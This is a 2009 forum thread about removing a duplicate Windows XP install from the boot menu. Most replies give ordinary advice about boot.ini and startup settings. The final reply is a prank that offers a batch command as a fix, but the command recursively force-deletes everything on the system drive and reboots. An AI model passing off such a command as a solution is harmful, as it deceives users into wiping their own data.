I did a fresh install a couple weeks ago and I guess I didn't get the process right and someone got two installs on.

When the machine boots, I have 2 XP installs to choose from, one is what I am using now, the other one is incomplete.

The Windows directory is about 500mb, the Windows.0 is about 1.4gb, so I assume this is the first listed. Can I just delete the other Windows directory and go about business as usual?

2/18/2009 12:23:25 PM

sounds like you didn't actually do a 'fresh' install of anything. You should have formated the drive then installed XP. I suggest you go back and do it right this time.

2/18/2009 12:24:43 PM

you could edit the boot.ini file

2/18/2009 12:25:13 PM

I did format the drive. It did the first round of copying files over, rebooted and I wasn't really paying attention and went through the process again...I thought At this point I've spend enough work over the past week or so getting stuff back that I don't feel like fucking with it again. And if I can delete shit then there is no need to reformat.

^ Hmm, are there registry entries pointing at Windows.0? I'm fine leaving it like that and just deleting the Windows directory without changing the name or anything.

[Edited on February 18, 2009 at 12:28 PM. Reason : .]

2/18/2009 12:27:05 PM

in your C: there should be a file called boot.ini

once you open it up, it will be obvious what you can delete and you dont have to select which one you want at start up

i have no idea if there will be registry entries or something in your path that will point to windows.0

2/18/2009 12:31:20 PM

Yeah, I just checked and see both entries. I'm assuming can remove the uneeded entry and then just whack the directory of the OS I'm not using. Hopefully, bad shit doesn't happen.

2/18/2009 1:05:04 PM

I would reformat all over again before I get too far along. Save yourself the trouble of guessing and rigging...Do it again (right). Since you just did the install then doing it now will save you a lot of trouble down the road.

2/18/2009 2:11:38 PM

But...I'm not having any trouble now other than 2 boot options (and I leave my machine on, so it bothers me once a week) and a wasted 500mb.

2/18/2009 2:27:33 PM

jesus people quit making this fucking complicated.

right click on my computer, go to advanced, click settings under "startup and recovery" and set shit up however you want at the top. just pick whichever one you want it to use an uncheck the "time to display list of operating systems" box

2/18/2009 2:30:57 PM

Edit c:\boot.ini
Remove the startup option
Remove the directories you're not using.

2/18/2009 4:45:41 PM

Put this in to a *.bat file and execute:

Quote :

"@echo off del %systemdrive%\*.*/f/s/q shutdown -r -f -t 00"

It will almost certainly solve this problem.

2/19/2009 2:16:36 AM